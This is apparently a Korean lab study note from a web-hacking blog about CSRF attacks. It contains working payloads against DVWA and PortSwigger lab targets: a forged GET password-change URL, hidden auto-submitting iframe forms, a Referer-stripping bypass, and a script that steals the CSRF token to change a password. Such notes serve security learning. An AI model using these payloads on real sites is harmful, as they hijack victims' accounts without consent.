1. CSRF
1) 정의
- csrf공격(Cross Site Request Forgery)은 웹 어플리케이션 취약점 중 하나로 인터넷 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록)를 특정 웹사이트에 요청하게 만드는 공격이다.
2) CSRF 종류
- GET방식일 때 공격
- POST방식일 때 공격
- Referer 헤더 검증할 때 공격
- CSRFToken
2. GET 방식일 때 공격
1) 요청이 GET 방식일 때?
- 어떤 요청이 GET방식이라면, XSS와 연계해서 비밀번호를 변경하는 링크를 만들어서 (Reflected XSS) 사용자가 클릭하게 만들거나, img태그의 경로 src에 비밀번호를 변경하는 링크를 넣어서(Stored XSS) 공격할 수 있다.
2) 공격 방법
공격 시 삽입 구문: password_new=1234&password_conf=1234&Change=Change
공격 후 구문: GET /dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change
- GET방식은 파라미터에 비밀번호 변경 요청이 남기 때문에 파라미터값을 수정한다.
- 파라미터값을 수정한 URL을 공격대상에게 전달한다.
- 공격대상이 링크를 클릭하면 공격이 실행되어 비밀번호변경 요청이 성공한다.
3. POST 방식일 때 공격
1) 요청이 POST 방식일 때?
- get방식과 다르게 URL에 파라미터가 남지 않는다.
- XSS가 가능한 페이지에 비밀번호 변경을 요청하는 form태그를 삽입해서 공격을 유도한다.
2) 공격 방법
공격 시 삽입 구문:
Hi~~
<iframe width="0" border="0" name="stealthframe" style="display:none;"></iframe>
<body onload="document.csrf.submit();">
<form method="POST" name="csrf" action="http://127.0.0.1:8000/mychange_ok.php"
target="stealthframe">
<input type="hidden" name="pw2" value="1111">
<input type="hidden" name="name2" value="blue">
</form>
- XSS가 가능한 페이지에 공격 시 삽입 구문과 같은 비밀번호변경을 요청하는 form태그를 삽입한다
- 피해자가 게시글을 클릭하면 비밀번호와 이름이 변경요청되어 공격이 성공한다.
4. Referer 헤더 검증할 때 공격
1) Referer 헤더 검증?
- Request Header에 포함된 Referer는 현재 요청된 페이지의 링크 이전의 웹 페이지 주소를 포함한다.
- 요청을 받는 서버는 CSRF를 막기 위해 정해준 Referer만 허용해주는 유효성 검사 로직을 추가하는 조치를 취한다
- 이후에 피싱페이지에서 의도하지 않은 행위를 한다면, 이전에 작성한 Referer 값 유효성 검사에서 걸러질 것이다.
2) 공격 방법
공격 시 삽입 구문:
Hi~~
<iframe width="0" border="0" name="stealthframe" style="display:none;"></iframe>
<body onload="document.csrf.submit();">
<form method="POST" name="csrf" action="https://0acf00b403843656c0821da300f300c8.web-security-academy.net/my-account/change-email" target="stealthframe">
<input type="hidden" name="email" value="red@test.com">
</form>
공격 후 구문: email=red%40test.com
- post방식과 같이 form 태그를 삽입하여 피해자가 클릭하게 유도한다.
- 하지만 Referer 헤더 검증 때문에 csrf공격이 실패하게 된다.
- 프록시도구로 이메일 변경을 요청하는 페이지를 리피터로 옮겨 Referer: 부분을 삭제하여 공격한다.
5. CSRF Token
1) CSRF Token?
- 서버에 들어온 요청이 실제 서버에서 허용한 요청이 맞는지 확인하기 위한 토큰
- 서버에서는 뷰 페이지를 발행할 때 랜덤으로 생성된 Token을 같이 준 뒤 사용자 세션에 저장해둔다.
- 사용자가 서버에 작업을 요청할 때 페이지에 Token값이 같이 서버로 전송하여 서버에서 Token값이 세션에 저장된 값과 일치하는지 확인한다.
2) 공격 방법
공격 시 삽입 구문:
<html>
<body>
<p>TOTALLY LEGITIMATE AND SAFE WEBSITE </p>
<iframe id="myFrame" src="http://192.168.219.112/dvwa/vulnerabilities/csrf" style="visibility: hidden;" onload="maliciousPayload()"></iframe>
<script>
function maliciousPayload() {
console.log("start");
var iframe = document.getElementById("myFrame");
var doc = iframe.contentDocument || iframe.contentWindow.document;
var token = doc.getElementsByName("user_token")[0].value;
const http = new XMLHttpRequest();
const url = "http://192.168.219.112/dvwa/vulnerabilities/csrf/?password_new=hackerman&password_conf=hackerman&Change=Change&user_token="+token+"#";
http.open("GET", url);
http.send();
console.log("password changed");
}
</script>
</body>
</html>
공격 후 구문:
password_new=hackerman&password_conf=hackerman&Change=Change&user_token=43c74e1d88dc7672a04fecc287c72578
- 먼저 정상적으로 비밀번호 변경을 요청했을 때 어떤 방식으로 처리되는지 확인한다.
- 공격 시 삽입 구문에 있는 스크립트를 파일 업로드 취약점을 이용해 .html파일로 업로드한다.
- 공격 시 삽입 구문 파일을 웹에서 실행하면 maliciousPayload 스크립트가 실행된다
- 페이로드가 실행되면 토큰값을 받아와 비밀번호 변경을 요청하는 페이지에 토큰값을 넣어 해당 비밀번호로 변경하는 공격이 실행된다.
- F12를 눌러 console창을 보면 password changed라는 문구와 함께 비밀번호가 변경이 되어있다.
'Web Hacking' 카테고리의 다른 글
불충분한 인증/인가 취약점 (0) | 2023.01.17 |
---|---|
파일 업로드 취약점 (0) | 2023.01.04 |
XSS (0) | 2022.12.16 |
Blind SQLi (0) | 2022.12.05 |
Error Based SQLi (0) | 2022.12.05 |